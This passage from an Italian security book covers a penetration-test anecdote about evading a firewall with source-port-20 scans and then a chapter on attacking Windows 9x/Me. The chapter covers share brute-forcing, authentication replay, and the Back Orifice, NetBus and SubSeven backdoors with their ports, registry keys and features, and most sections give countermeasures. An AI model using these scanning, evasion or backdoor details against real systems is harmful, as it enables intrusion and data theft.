A un certo punto, nel corso dei nostri sforzi, ci siamo resi conto che non avevamo ancora tentato un astuto stratagemma noto come scansione delle porte di origine. Il concetto alla base di questa tecnica è semplice: si tratta di effettuare la scansione degli indirizzi IP mediante uno scanner delle porte in grado di modificare la porta di origine nel pacchetto TCP prima dell'invio alla destinazione. Saremmo diventati così un lupo travestito da agnello, "travestendo" le nostre scansioni da traffico potenzialmente legittimo e, con un po' di fortuna, eludendo il firewall perimetrale messo a protezione di questi server. Abbiamo nuovamente fatto riscorso a Scanline per agevolare l'inganno, servendoci dello switch `-q` per originare le nostre scansioni sulla porta TCP 20, utilizzata comunemente per i trasferimenti di dati con protocollo FTP. Quando abbiamo analizzato risultati della scansione, ci siamo resi conto che il nostro errore sarebbe stato al tempo stesso la causa del nostro successo:

```
C:\>sl -p -q 20 -t 135,139,445,1433,3389 -f our7hosts.txt
ScanLine (TM) 1.01
Copyright (c) Foundstone, Inc. 2002
http://www.foundstone.com
Scan of 7 IP started at Fri Dec 31 23:59:59 1999
------------------------------------------------------------
192.168.1.10
TCP ports: 1433 3389
------------------------------------------------------------
192.168.1.11
TCP ports: 1433 3389
------------------------------------------------------------
Scan finished at Sat Jan 01 00:00:00 2000
7 IPs and 14 ports scanned in 0 hours 0 mins 0.96 secs
```

Sulla base dei risultati delle nostre scansioni, ci siamo resi conto che qualsiasi traffico con una porta di origine 20 e una porta di destinazione con numero superiore a 1024 poteva attraversare impunemente il perimetro della rete. Avevamo trovato il modo per entrare. In un battibaleno, siamo riusciti a utilizzare un tool di reindirizzamento del traffico della rete chiamato `fpipe` (`http://www.foundstone.com`) per modulare i nostri attacchi successivi, in modo da sfruttare questo buco presente nella corazza della rete del cliente e perlustrare impunemente tutti i server che ci erano stati segnalati. Ma siamo andati oltre: abbiamo utilizzato questa posizione privilegiata per accedere a reti di preproduzione e amministrative, contenenti informazioni molto riservate, connesse ai server Web compromessi. In poche ore, siamo riusciti a mettere le mani sui "gioielli" dell'azienda del cliente.

Inutile dire che la riunione conclusiva con il nostro cliente fu molto istruttiva per il team responsabile della messa a punto dei controlli degli accessi lungo il perimetro della rete.
Confidiamo che questo aneddoto serva a tutti (come è servito a noi) a rammentare che di solito c'è più di un modo per eludere le misure di sicurezza, anche quelle che all'apparenza sono più inossidabili. Confidiamo inoltre che esso abbia acuito la vostra curiosità per i capitoli di cui è costituita la Parte II, "Hacking dei sistemi".

Capitolo 4

Hacking di Windows 95/98 e Me

La cosa più importante che deve essere tenuta presente da un amministratore di sistema o da un utente quando si fa riferimento ai sistemi operativi 95/95B/98/98SE e all'aggiornamento della loro controparte, Windows Millennium Edition (che d'ora in poi chiameremo Win 9*x*/Me o famiglia DOS), è che questi ambienti, al contrario del loro cugino Windows NT/2000, non sono stati progettati per essere sistemi operativi sicuri.

*Il termine "famiglia NT", in questo volume, è da intendersi come riferito a tutti i sistemi operativi basati sulla piattaforma NT (*New Technology*) di Microsoft, alla quale appartengono le versioni 3.x e 4.x di Windows NT, Windows 2000, Windows XP e Windows.NET Server (che sarà trattato nel Capitolo 5). Laddove necessario, verrà evidenziata la differenza tra le versioni per computer desktop e quelle per i server. Per fare riferimento ai sistemi operativi DOS e Windows 1.x/3.x/9x/Me si utilizzerà il termine "famiglia DOS".*

In effetti sembra che nella definizione dell'architettura di questi sistemi, Microsoft abbia operato molte scelte con l'intento di semplificare l'utilizzo del sistema a discapito della sicurezza. Questa potrebbe diventare un'arma a doppio taglio per gli amministratori e gli utenti che non conoscono i meccanismi riguardanti la sicurezza del sistema Windows. Non soltanto Windows 9*x* è facile da installare e da configurare, ma con molta probabilità gli utilizzatori eviteranno di prendere anche le più semplici precauzioni per la sicurezza del sistema (come per esempio la scelta di una buona password).

Inoltre qualche utente ignaro potrebbe configurare il suo sistema Windows 9*x*/Me in modo da fornire in modo inconsapevole una backdoor per l'accesso alla rete aziendale; oppure potrebbe memorizzare informazioni sensibili o in qualche modo riservate sul personal computer di casa collegato alla rete Internet, in genere più esposto agli attacchi. La crescita di virus e software dannosi trasmessi tramite e-mail in uscita dai sistemi compromessi complica ulteriormente il problema. Un unico ignaro utente di Win 9*x* che lancia un allegato di posta dannoso può creare una pericolosa falla nel firewall attraverso la quale, stabilendo un collegamento con una rete dannosa, si può preparare il terreno per un'invasione su larga scala.

Con la progressiva introduzione delle connessioni via cavo e DSL ad alta velocità, che permettono di mantenere sempre connessa una postazione alla rete Internet, questi problemi diventano sempre più attuali e consistenti. Sia che siate un ammini-

stratore di sistema, sia che utilizziate Win 9*x* per navigare nella rete Internet o accedere alla rete aziendale da casa, dovete essere a conoscenza degli strumenti e delle tecniche che possono essere utilizzate per attaccare il vostro sistema.
Fortunatamente la semplicità di Windows 9*x* può risultare utile a chi si deve difendere dagli attacchi esterni, in quanto è possibile adottare semplici contromisure per proteggere il sistema. Dal momento che Windows 9*x* non è stato progettato per essere un vero sistema operativo multiutente, anche le sue possibilità di amministrazione remota sono decisamente ridotte. È impossibile eseguire comandi remoti in un sistema Windows 9*x* tramite strumenti standard, mentre l'accesso al Registro di sistema di una postazione Windows 9*x* è possibile solamente se le richieste di accesso passano attraverso un server che fornisce un livello di sicurezza più elevato, come avviene su un server della famiglia Windows NT o Novell NetWare: in questo caso, alla sicurezza delle risorse locali condivise tipica dei sistemi Windows 9*x*/Me, basata su nome utente e password, viene aggiunta la protezione a livello di utente. (I sistemi Windows 9*x*/Me non possono agire come server di autenticazione degli utenti.)
Pertanto, la sicurezza dei sistemi Windows 9*x*/Me può essere compromessa attraverso i metodi classici: configurazioni non corrette, ingannare l'operatore affinché esegua un codice, oppure ottenere l'accesso alla console del sistema. Per questo motivo abbiamo suddiviso il capitolo in base a questi due diversi metodi di attacco: remoto e locale. Win 9*x* verrà inoltre spiegato separatamente da Win Me, poiché i due sistemi operativi sono stati distribuiti a tre anni di distanza, anche se nella maggior parte dei casi gli attacchi contro 9*x* dovrebbero funzionare anche contro Me, tranne quando diversamente specificato.
Se siete utenti Win9*x*/Me e vi state chiedendo se è opportuno aggiornare il vostro sistema operativo per desktop alla nuova versione Windows XP non abbiate dubbi, fatelo! XP è dotato di tutte le funzionalità di plug and play che un utente poco esperto può desiderare, di una stabilità dieci volte superiore a quella di altri sistemi operativi e di un sottosistema di sicurezza davvero efficiente, derivato da quello della famiglia NT e quindi nettamente diverso da quello dei sistemi operativi della famiglia DOS. Potete scegliere tra la Home Edition e la Professional Edition, a seconda che desideriate disporre di un'interfaccia più semplice, dotata di utili procedure guidate, o di funzionalità più orientate alle realtà lavorative, come Connessione desktop remoto, Ripristino configurazione di sistema e diverse applicazioni avanzate per la gestione delle reti. Nel Capitolo 5 verranno descritti i prodotti per l'azienda di Windows NT, Windows 2000 e .NET Server 2003.

Windows 9x/Me è giustamente classificato come una piattaforma utente. Spesso, il modo più semplice per attaccare questi sistemi è attraverso contenuti Web dannosi o messaggi di posta elettronica indirizzati direttamente all'utente, piuttosto che al sistema operativo. Per questo motivo vi consigliamo vivamente di leggere anche il Capitolo 16.

Attacchi remoti a Windows 9x

Le tecniche di attacco remoto del sistema Windows 9*x* possono essere divise in quattro categorie fondamentali: connessione diretta a una risorsa condivisa (comprese le risorse di accesso remoto), installazione di un daemon di servizi che costituisce una backdoor, attacco ai punti vulnerabili noti di applicazioni server e Denial of Service. Dovete osservare subito che ciascuna di queste situazioni richiede una modifica volontaria della configurazione oppure la sottovalutazione delle possibili

conseguenze di una certa operazione da parte dell'utente del sistema Windows 9*x* o dell'amministratore. Perciò questo genere di attacchi può essere evitato e neutralizzato con relativa facilità.

Connessione diretta alle risorse condivise di Windows 9x

Questo è il metodo più intuitivo e ovvio per aprire una breccia in un sistema Windows 9*x* remoto. Sono tre i meccanismi tramite i quali Windows 9*x* può fornire accesso diretto al sistema: la condivisione di file e stampanti, l'installazione opzionale del server di accesso remoto e la manipolazione remota del Registro di sistema. Di questi tre metodi, l'accesso da posizione remota al Registro di sistema richiede una personalizzazione abbastanza avanzata del sistema e l'attivazione del controllo di accesso a livello utente; pertanto le condizioni che rendono possibile questo tipo di attacco si riscontrano raramente nelle postazioni presenti al di fuori di una rete aziendale.

Una delle chiavi di accesso al primo tipo di attacco consiste nell'estorcere in qualche modo le credenziali inserite da un utente remoto, che si sta collegando a una risorsa condivisa del sistema Windows 9*x*. Poiché in genere gli utenti tendono a utilizzare sempre gli stessi nomi utente e password, è molto probabile che di questi rimanga traccia sulla postazione remota utilizzata per la connessione. La situazione ipotizzata è abbastanza grave perché in questo modo vengono esposti all'intrusione anche altri sistemi connessi alla stessa rete.

Hacking dei file Windows 9x e delle stampanti condivise

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Abbiamo già trattato alcuni degli strumenti e delle tecniche che un hacker informatico può utilizzare per effettuare una scansione delle reti alla ricerca di condivisioni di stampanti e file (si veda il Capitolo 3) e abbiamo evidenziato come alcune di queste tecniche consentano di sferrare attacchi di ricerca ripetuta della password di accesso alle risorse. Uno di questi strumenti è Legion, creato dal gruppo Rhino9. Oltre alla capacità di questo strumento di effettuare una scansione degli indirizzi IP alla ricerca di risorse condivise di Windows, Legion è distribuito con uno strumento chiamato in inglese "BF tool" (dove BF è l'acronimo di *brute force*, forza bruta), che è in grado di tentare l'accesso alle risorse individuate, utilizzando le password memorizzate in un elenco: in questo caso, più che di forza bruta si tratta più correttamente di un attacco basato su un dizionario di parole predefinito. Un suggerimento: il pulsante *Save Text* presente nell'interfaccia principale di scansione delle reti di Legion consente di salvare l'elenco delle risorse individuate in un file di testo, facilitando le operazioni di copia e incolla nella casella di testo *Path* dello strumento BF, come mostrato nella Figura 4.1.

Una volta ottenuto l'accesso alla risorsa, il danno che l'incursore è in grado di arrecare dipende dal tipo di risorsa che è stata condivisa dal sistema. In quella partico-

Figura 4.1
Lo strumento BF di Legion indovina le password delle risorse condivise di Windows.

lare cartella potrebbero essere presenti file importanti, oppure l'utente del sistema potrebbe aver condiviso l'intera partizione radice, cosa che rende molto semplici all'hacker ulteriori azioni di pirateria. In questo caso è possibile copiare programmi eseguibili o daemon nella cartella *%systemroot%\Menu Avvio\Programmi\Esecuzione Automatica*, affinché al successivo riavvio del sistema questi file eseguibili vengano avviati. (Potete fare riferimento ai successivi paragrafi in questo stesso capitolo per comprendere cosa può succedere se un'applicazione, come Back Orifice, viene collocata nella cartella *Esecuzione Automatica.*) L'hacker potrebbe anche impossessarsi dei file PWL, per poi decifrarli con tutta calma (anche per questo potete fare riferimento ai paragrafi successivi).

Contromisure all'attacco alle risorse condivise

Questo tipo di intrusioni può essere evitato con facilità: disabilitate la condivisione di file e cartelle! Per gli amministratori di sistema che devono occuparsi di tenere sotto controllo un gran numero di postazioni, consigliamo l'utilizzo del programma System Policy Editor (POLEDIT.EXE), che permette di disabilitare la condivisione di file e stampanti in tutti i sistemi di una rete. Il programma POLEDIT.EXE, la cui schermata principale è visibile nella Figura 4.2, è disponibile insieme al Resource Kit di Windows 9*x*, detto anche Windows 9*x* RK, ma può essere reperito anche nella cartella *\Tools\Reskit\Netadmin* presente sulla maggior parte dei CD-ROM di installazione di Windows 9*x*, oppure al sito di Microsoft all'indirizzo `http://support.microsoft.com/support/kb/articles/Q135/3/15.asp`.
Se per voi è necessario attivare la condivisione di cartelle, scegliete una password di accesso alfanumerica di otto caratteri (la lunghezza massima della password consentita da Windows 9*x*) e inserite nella password anche metacaratteri (come per esempio [! @ # $ % &) oppure caratteri ASCII non stampabili. Può anche essere una cosa saggia utilizzare il simbolo $, come mostrato nella Figura 4.3, per terminare il nome assegnato alla connessione: in questo modo il nome della risorsa condivisa non appare nella cartella *Risorse di rete*, non è visibile nell'output del comando `net view` e non è rintracciabile nemmeno dal programma Legion.

Figura 4.2

Il System Policy Editor di Windows 9x consente agli amministratori di rete di impedire agli utenti di attivare la funzionalità di condivisione dei file, o di stabilire una connessione di accesso remoto.

Figura 4.3

Aggiungete il simbolo $ al nome della risorsa che volete condividere per evitare che questa venga visualizzata tra le Risorse di rete e nell'output di molti strumenti di scansione NetBIOS.

Ripetizione dell'hash di autenticazione di Windows 9x

Diffusione:	*8*
Semplicità:	*3*
Impatto:	*9*
Fattore di rischio:	*7*

Il 5 gennaio 1999 il gruppo di ricerca conosciuto come L0pht ha pubblicato un documento che mette in evidenza un difetto nelle procedure di autenticazione per l'accesso alla condivisione di file di Windows 9*x* (il testo del documento è disponibile all'indirizzo `http://www.atstake.com/research/advisories/1999/95replay.txt`). Mentre i componenti del gruppo stavano verificando il funzionamento dell'ultima versione del loro strumento di riconoscimento e crack di password chiamato L0phtcrack (si veda il Capitolo 5), notarono che Windows 9*x* consentiva, durante l'autenticazione per l'accesso alla condivisione dei file, di ripristinare una connessione alla risorsa condivisa, ripetendo lo stesso messaggio alle richieste di connessione remota nell'arco di un periodo di 15 minuti. Poiché Windows utilizza una combinazione del nome utente e di questo messaggio per effettuare un'operazione di *hash* (ossia di cifratura-decifratura) della password dell'utente remoto e dal momento che il nome utente viene trasmesso in chiaro, un eventuale hacker potrebbe semplicemente ripetere entro i quindici minuti successivi la trasmissione del messaggio di autenticazione già utilizzato per una connessione valida, per accedere con successo alla risorsa condivisa del sistema Win 9*x*. Durante questo periodo di tempo, infatti, l'identica stringa di cifratura della password resta valida per un tentativo di accesso successivo.

Sebbene questo sia un classico errore crittografico che Microsoft avrebbe potuto certamente evitare, non è affatto banale riuscire a sfruttare questo meccanismo di autenticazione per un'intrusione. L'informativa pubblicata da L0pht suggerisce la possibilità di modificare il popolare client UNIX utilizzato per l'accesso alle risorse di Windows, chiamato Samba (`http://www.samba.org`), in modo che possa essere utilizzato per registrare e ricostruire il traffico di rete utilizzato per la connessione e l'autenticazione a una risorsa condivisa di Windows. Per poter riuscire in questa impresa, sono necessarie notevoli capacità di programmazione ed è indispensabile poter accedere al segmento di rete locale per "ascoltare" il traffico relativo alla connessione: queste sono probabilmente limitazioni troppo restrittive perché questa funzionalità anomala possa essere utilizzata da eventuali malintenzionati.

Hacking dei server di accesso remoto di Windows 9x

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

L'applet che fornisce le funzionalità di server di accesso remoto (*dial-up server*), inclusa nella distribuzione di Windows 9*x* e mostrata nella Figura 4.4, è un'altra di quelle funzionalità considerate provvidenziali dagli amministratori di sistema. Qualunque utente potrebbe fornire un'involontaria backdoor alla rete aziendale, semplicemente collegando un modem alla propria postazione e installando il pacchetto

Microsoft Plus! per Windows 9*x*, che contiene i componenti server di accesso remoto (nella versione Windows 98 il server di accesso remoto è addirittura incluso nell'installazione del sistema operativo).

Figura 4.4
Trasformare un sistema Win 9*x* in un server di accesso remoto è davvero semplice.

Una postazione Windows 9*x* configurata come server di accesso remoto avrà quasi sicuramente l'abilitazione alla condivisione dei file, poiché questo è il modo più proficuo per sfruttare le funzionalità di accesso remoto. È possibile dunque che, dall'altra parte del filo, possa essere tentato un attacco all'accesso delle risorse, cercando di utilizzare ricorsivamente un certo numero di password (se una password è stata impostata!): questo tipo di attacco può essere assimilato alle tipologie di hacking già viste nei paragrafi precedenti, con il presupposto che non sia stata configurata una password di accesso remoto nel sistema operativo.

Contromisure agli attacchi al server di accesso remoto di Windows 9x

Sono valide le stesse strategie di difesa già illustrate nel paragrafo precedente: non utilizzate il server di accesso remoto di Windows 9*x* e costringete gli utenti delle postazioni in una rete estesa a non utilizzarlo, impostando gli opportuni parametri nel Registro di sistema con il System Policy Editor.
Se dovete assolutamente abilitare le funzionalità del server di accesso remoto, configurate una password di accesso, verificate che venga cifrata durante l'autenticazione impostando le proprietà di connessione nella finestra di dialogo *Tipi di Server*, oppure effettuate l'autenticazione abilitando la condivisione delle risorse a livello utente (che corrisponde in pratica all'autenticazione dell'utente passando attraverso un server Windows NT o NetWare). Impostate ulteriori password per ciascuna risorsa condivisa (utilizzando le buone regole di scelta della password illustrate nei paragrafi precedenti) e aggiungete il simbolo $ al nome della condivisione.

I pirati informatici che riescono a intrufolarsi con successo nelle risorse di un server di accesso remoto, oltrepassando l'autenticazione, sono in grado di reperire qualunque informazione disponibile sulla postazione server. Questo genere di intrusione non consente comunque di accedere ad altre risorse della rete locale sulla quale si trova il sistema, perché Windows 9*x* non è in grado di smistare il traffico di rete attraverso il server di accesso remoto.
È importante ricordare anche che le funzionalità di accesso remoto DUN (*Dial-Up Networking*) non sono più riservate solamente all'utilizzo con il modem DUN: infatti Microsoft mette a disposizione gli strumenti per costituire reti private virtuali, VPN (*Virtual Private Network*, di cui parleremo nel Capitolo 9) tramite accesso remoto. È necessario accennare brevemente a uno dei più importanti aggiornamenti disponibili per Windows 95. Questo aggiornamento è DUN 1.3 (*Dial-Up Networking Update 1.3*) e consente di collegare con maggiore sicurezza un sistema Windows 95 a un server Windows NT in cui sono attive le funzionalità di Rete Privata Virtuale. Non c'è nulla da decidere: se utilizzate i servizi VPN, scaricate l'aggiornamento DUN 1.3 da `http://support.microsoft.com/support/kb/articles/Q191/4/94.ASP`. L'aggiornamento DUN 1.3 è anche necessario per una corretta protezione del sistema dagli attacchi di tipo Denial of Service, come vedremo fra breve.
Nel Capitolo 8 verranno illustrati altri punti deboli della funzionalità di accesso remoto e delle VPN.

Attacco remoto del Registro di sistema di Windows 9x

Diffusione:	*2*
Semplicità:	*3*
Impatto:	*8*
Fattore di rischio:	*4*

Al contrario di Windows NT, Windows 9*x* non offre funzionalità intrinseche che consentano l'accesso al Registro di sistema da una postazione remota. È comunque possibile ottenere il controllo remoto del Registro di sistema, in un programma aggiuntivo, il Servizio Registro Remoto (che potete trovare nella cartella *\admin\nettools\remotreg* sul CD-ROM di installazione di Windows 9*x*). Il Servizio Registro Remoto richiede anche che venga abilitata la sicurezza a livello di utente, in modo che sia necessario utilizzare per l'accesso al sistema un nome utente valido. Se un eventuale hacker è sufficientemente fortunato da imbattersi in un sistema su cui è installato il Servizio Registro Remoto, se è in grado di accedere a una cartella condivisa in scrittura e, inoltre, riesce a indovinare con successo il nome utente corretto per accedere al Registro di sistema, teoricamente ha la possibilità di compiere qualunque tipo di manomissione sul sistema in oggetto. Tuttavia questa eventualità non ci sembra sufficientemente probabile. Se siete in procinto di installare il Servizio Registro Remoto, abbiate l'accortezza di scegliere una buona password; in caso contrario, non installate il servizio e dormite sonni tranquilli perché sicuramente non sarete vittime di intrusioni al Registro di sistema del vostro sistema Windows 9*x*.

Windows 9x e gli strumenti di amministrazione della rete

Diffusione:	*3*
Semplicità:	*9*
Impatto:	*1*
Fattore di rischio:	*4*

Ultima, ma non meno importante, è la possibilità di un'intrusione remota tramite il protocollo SNMP (*Simple Network Management Protocol*). Nel Capitolo 3 abbiamo illustrato come il protocollo SMNP possa essere utilizzato per ottenere l'elenco delle informazioni relative a un sistema Windows NT, in cui siano attivi i servizi SMNP configurati con i parametri predefiniti, come public. Windows 9*x* può fornire informazioni simili se viene installato nel sistema un agente SNMP (che potete trovare in *\Tools\Reskit\Netadmin\SNMP* sul CD-ROM di installazione di Windows 9*x*). Comunque, al contrario di Windows NT, le informazioni fornite dall'agente SNMP, versione 1 MIB, non contengono, per esempio, i nomi utente e i nomi delle risorse condivise. Adottando questa strategia, le possibilità di intrusione sono molto limitate.

Server backdoor e trojan in Windows 9x

Pensate forse di essere al sicuro da qualunque attacco, se non sono abilitati sul vostro sistema Windows 9*x* la condivisione delle risorse, il server di accesso remoto e il Servizio Registro Remoto? La risposta a questa domanda è: no! Se sul sistema oggetto di un attacco non sono presenti strumenti di amministrazione remota, l'hacker cercherà in ogni modo di installarne uno.

Di seguito abbiamo raccolto i tre programmi client/server backdoor più utilizzati attualmente su Internet. Inoltre presentiamo il mezzo più noto per diffondere una backdoor, il cosiddetto *trojan horse*: si tratta di un'applicazione che dichiara di svolgere certe funzioni, ma che in realtà è anche uno strumento di installazione nascosta di applicazioni pirata. Naturalmente esistono talmente tanti strumenti di questo tipo in circolazione sulla rete, che tutte le pagine di questo libro non sarebbero sufficienti a catalogarli tutti. Altri ottimi luoghi dove trovare ulteriori informazioni sulle backdoor e i trojan sono TLSecurity, all'indirizzo `http://www.tlsecurity.net` e `http://www.eqla.demon.co.uk/trojanhorses.html`.

Back Orifice

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*10*

Nonostante venga indicato come uno dei più famosi (e diffusi) strumenti di pirateria per i sistemi Windows 9*x*, BO (*Back Orifice*) non è niente di più rispetto a

quanto dichiarato dai suoi autori: uno strumento di amministrazione remota di Windows 9*x*.

Back Orifice è stato reso pubblico per la prima volta durante il convegno sulla sicurezza Black Hat nell'estate del 1998 (`http://www.blackhat.com/`). Questo strumento consente un controllo quasi completo di un sistema Windows 9*x*, compresa la possibilità di modificare o eliminare voci del Registro di sistema, riavviare il sistema, inviare e ricevere file, visualizzare password, attivare e disattivare i processi, abilitare cartelle condivise. Altri sviluppatori hanno scritto plug-in che aggiungono micidiali funzionalità al server Back Orifice: uno di questi consente a Back Orifice di collegarsi automaticamente a uno specifico canale IRC (*Internet Relay Chat*), in particolare al canale #BO_OWNED e di annunciare al mondo l'indirizzo IP della postazione da cui sta trasmettendo, a beneficio di tutti i malintenzionati che frequentano il canale.

Back Orifice può essere configurato per l'installazione e l'esecuzione con qualsiasi nome di file (se non vengono specificate altre opzioni, `[spazio].exe` è l'impostazione predefinita). Durante l'installazione viene aggiunta nel Registro di sistema una voce sotto *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices* in modo che il server venga riavviato a ogni avvio del sistema. Il server ascolta sulla porta UDP 31337, a meno che non venga configurato diversamente (ovviamente immaginate quale sia la regola).

Il server Back Orifice ha realizzato il sogno di tutti gli hacker, sia di coloro che intendono causare veri e propri danni, sia di quelli che invece vorrebbero soltanto compiere semplici scorribande. L'interesse suscitato da BO è stato così forte che una seconda versione è stata rilasciata appena un anno dopo la sua prima apparizione: Back Orifice 2000 (BO2K, `http://sourceforge.net/project/bo2k/`). BO2K include tutte le funzionalità del suo predecessore, con due importanti eccezioni: sia il client sia il server possono essere eseguiti in Windows NT/2000 (e non solo Win 9*x*); inoltre mette a disposizione developer kit, rendendo quindi estremamente difficile il riconoscimento di versioni personalizzate. Come impostazione predefinita, BO2K ascolta sulla porta TCP 54320 o UDP 54321 e crea una sua copia in un file di nome UMGR32.EXE in *%systemroot%*. Nell'elenco delle applicazioni assume le sembianze di EXPLORER, per dissuadere tentativi di chiusura forzata. Se non viene rilevato durante l'installazione, si inserisce nel Registro di sistema, nella posizione *HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices*, sotto forma di un servizio di nome "Remote Administration Service", e al successivo avvio del sistema cancella il file originale con il quale si era installato. Tutti i valori di cui abbiamo parlato possono essere modificati in modo estremamente semplice, utilizzando l'utility `bo2kcfg.exe` compresa nel pacchetto. Nella Figura 4.5 è rappresentata la parte client di BO2K, `bo2kgui.exe`, che controlla un sistema Win 98SE: si può notare che il client BO2K può essere utilizzato per interrompere e rimuovere il server remoto da un sistema "infettato", utilizzando l'opzione *Server Control\Shutdown Server\DELETE*.

Una caratteristica poco documentata del client BO2K è che talvolta richiede di specificare il numero di porta nel campo Server Address (per esempio, 192.168.2.78:54321 invece del semplice indirizzo IP o DNS).

Figura 4.5
L'aspetto dell'interfaccia grafica (bo2kgui.exe) dell'applicazione client Back Orifice 2000 (BO2K) utilizzata per controllare un sistema Windows 9*x* su cui è stata installata una backdoor. Questo è il metodo per rimuovere il server BO2K.

NetBus

Diffusione:	*8*
Semplicità:	*9*
Impatto:	*8*
Fattore di rischio:	*8*

Lontano parente di Back Orifice, NetBus può essere utilizzato per ottenere il controllo dei sistemi remoti Windows 9*x* e anche di Windows NT/2000. Questo programma, scritto da Carl-Fredrick Neikter, offre un'interfaccia più semplice e discreta rispetto alla versione BO originale ed è in grado di svolgere funzioni anche più complesse, come il controllo remoto dell'interfaccia grafica (disponibile solamente se la velocità di connessione è elevata). Anche NetBus è configurabile in vari modi ed esistono alcune varianti delle versioni in circolazione su Internet. L'eseguibile di default del server si chiama `patch.exe` (ma può essere rinominato in qualsiasi modo) e viene inserito nel Registro di sistema sotto *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run* in modo che il server venga riavviato a ogni avvio del sistema.

NetBus ascolta per impostazione predefinita sulla porta TCP 12345 o 20034 (ma anche questa impostazione è modificabile). Poiché non è possibile utilizzare la con-

nessione UDP (come per BO2K), è più probabile che le operazioni di NetBus vengano intercettate dai firewall.

SubSeven

Diffusione:	*10*
Semplicità:	*9*
Impatto:	*10*
Fattore di rischio:	*10*

Se si considera la frequenza con cui i sistemi degli stessi autori di questo libro sono soggetti a tentativi di scansione da parte di questo server di backdoor, è facile dedurre che SubSeven abbia soppiantato per popolarità gli strumenti BO, BO2K e NetBus messi assieme. È infatti più stabile e semplice da utilizzare, inoltre offre maggiori funzionalità agli hacker, rispetto agli altri server. Può essere scaricato dal sito Web all'indirizzo `http://come.to/subseven`.

Come impostazione predefinita, il server SubSeven (S7S) ascolta la porta TCP 27374, che è anche la porta predefinita per le connessioni client. Come BO e NetBus, S7S fornisce all'intruso il controllo quasi completo della macchina del bersaglio. Tra le altre ricordiamo le seguenti funzionalità:

- avvio di scansioni delle porte (dal sistema della vittima!);
- avvio di un server FTP a partire dalla root C:\ (accesso completo in lettura/scrittura);
- manipolazione remota del Registro di sistema;
- recupero delle password RAS, ICQ e altre ancora memorizzate nella cache locale;
- reindirizzamento delle porte e delle applicazioni;
- esecuzione di stampe;
- riavvio del sistema remoto (in modo pulito o forzato);
- registrazione dell'attività della tastiera (in ascolto sulla porta 2773 come impostazione predefinita);
- terminale remoto (The Matrix, in ascolto sulla porta 7215 come impostazione predefinita);
- dirottamento del mouse;
- spionaggio delle applicazioni mediante una postazione remota su ICQ, AOL Instant Messenger, MSN Messenger e Yahoo Messenger (porta predefinita 54283);
- apertura di un browser Web e connessione a un sito definito dall'utente.

Il server dispone anche di una funzionalità di connessione IRC opzionale che può essere utilizzata dall'hacker per specificare un server IRC e un canale su cui connettere il server. La backdoor S7S invia quindi agli utenti che condividono il canale le informazioni relative alla sua posizione: indirizzo IP, porta di ascolto e password. Può anche agire come un robot IRC standard ("bot"), in grado di inviare comandi di canale, e così via. S7S è in grado anche di inviare agli hacker messaggi di notifica dell'avvenuta manomissione del sistema, attraverso ICQ o per posta elettronica.

L'applicazione EditServer, fornita con S7S, consente di configurare il server in modo che venga eseguito a ogni avvio del sistema, inserendo una voce denominata "WinLoader"

nelle chiavi Run o RunServices del Registro di sistema, oppure modificando il file WIN.INI.
In un messaggio pubblicato su una delle più diffuse mailing list relativa alla sicurezza, un rappresentante di una delle principali società di telecomunicazioni degli Stati Uniti lamentava che tra la fine di gennaio e l'inizio di marzo 2000 la rete aziendale della società era stata inondata dal "virus" S7S che aveva colpito un grande numero di macchine: tutti i server infettati si connettevano a un server IRC "generico" (vale a dire, `irc.ircnetwork.net`, piuttosto che un server specifico) e utilizzavano lo stesso canale, inviando il loro indirizzo IP, porta di ascolto e password a intervalli di circa cinque minuti. Come affermazione finale il messaggio diceva: "Se il server mette le informazioni relative alla password su un canale aperto, è possibile per chiunque presente sul canale e dotato di un client Sub7Client, collegarsi alle macchine infettate e fare ciò che desidera". Senza dubbio, Sub7 è uno strumento di pirateria di rete sofisticato e insidioso. Nella Figura 4.6 viene mostrata l'opzione di server FTP remoto.

Figura 4.6
Il client SubSeven può abilitare un server FTP del sistema remoto della vittima.

Contromisure all'esecuzione di applicazioni backdoor

Tutte le applicazioni server backdoor devono essere eseguite sulla postazione oggetto dell'attacco. Il server non può certo essere eseguito da una postazione remota (ovviamente, a meno che l'hacker non abbia già il controllo del sistema). In genere, per eseguire un server backdoor, si sfruttano i difetti conosciuti dei client Internet, oppure si utilizza la pura e semplice astuzia: un hacker informatico esperto ricorrerà probabilmente a entrambi. Questi metodi di attacco saranno illustrati dettagliatamente nel Capitolo 16, in cui saranno presentate anche le contromisure da adottare. Vi possiamo tuttavia anticipare questo: mantenete aggiornati i vostri client Internet, configurandoli in modo tale che utilizzino livelli più elevati di sicurezza.
Un altro metodo consigliato per bloccare le backdoor è negare l'accesso in ingresso alle porte di ascolto normalmente utilizzate per questi programmi. Spesso abbiamo riscontrato che diversi siti presentano porte dal numero elevato non controllate dal

Attacchi locali a Windows 9x

Dovremmo aver chiarito che per mettere seriamente in pericolo il vostro sistema Windows 9*x* ed esporlo ad attacchi remoti, è sostanzialmente necessario che operiate in modo poco accorto o comunque non standard. Purtroppo si può verificare esattamente la situazione opposta se prendiamo in considerazione le intrusioni che si verificano accedendo fisicamente al sistema. Certamente se c'è tempo a sufficienza, se non esistono particolari dispositivi di sorveglianza ed è disponibile una porta di servizio, l'intrusione si risolve con la sottrazione fisica del computer. In questo paragrafo prenderemo in considerazione il caso in cui il furto vero e proprio non sia possibile, sottolineando alcuni dei metodi, più o meno complessi, per ottenere informazioni fondamentali da Windows 9*x*.

Scavalcare i dispositivi di sicurezza di Windows 9x: riavviare!

Diffusione:	*8*
Semplicità:	*10*
Impatto:	*10*
Fattore di rischio:	*9*

